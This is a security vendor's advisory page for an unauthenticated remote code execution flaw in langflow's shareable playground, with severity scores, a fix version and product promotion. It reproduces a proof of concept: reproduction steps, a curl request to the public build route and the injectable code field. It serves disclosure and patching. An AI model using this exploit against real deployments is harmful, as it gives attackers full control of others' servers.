GHSA-v5ff-9q35-q26f
CRITICALGHSA-v5ff-9q35-q26f is a critical-severity (CVSS 9.6) Code Injection vulnerability in langflow. O3 Security confirms whether GHSA-v5ff-9q35-q26f is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Langflow: Unauthenticated RCE in Shareable Playgrounds
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-v5ff-9q35-q26f.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-v5ff-9q35-q26f plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
langflowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users.
Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe
Details
Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link.
Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID.
When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!
The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.
PoC
Reproduction:
- Create a new flow and add a Chat Input node to it
- Share the flow ("Shareable Playground")
- Access the public link with the browser developers tools open and execute the flow.
- Find the
/api/v1/build_public_tmproute and copy as cURL - Edit the
data.nodes[X].data.node.template.code.valueJSON field with any python code and run the cURL command.
Example PoC (replace flow ID with the correct one), and download test_with_python.json:
curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
-H 'Content-Type: application/json' \
-b 'client_id=anything' \
--data-raw "$(cat test_with_python.json)"
Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.
The stacktrace for the code executed is:
...
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
ids, vertices_to_run, graph = await build_graph_and_get_order()
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
graph = await create_graph(fresh_session, flow_id_str, flow_name)
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph
return await build_graph_from_data(
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data
graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload
graph.add_nodes_and_edges(vertices, edges)
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
self.initialize()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize
self._build_graph()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph
self._instantiate_components_in_vertices()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
vertex.instantiate_component(self.user_id)
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component
self.custom_component, _ = initialize.loading.instantiate_class(
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class
custom_component: CustomComponent | Component = class_object(
File "<string>", line 59, in __init__
Impact
Unauthenticated RCE on any deployment with a shareable playground.
Ori Lahav Security Researcher @ Rubrik Inc.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | langflow | all versions | 1.9.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update langflow to 1.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v5ff-9q35-q26f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-v5ff-9q35-q26f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-v5ff-9q35-q26f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v5ff-9q35-q26f in your dependencies?
O3 detects GHSA-v5ff-9q35-q26f across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.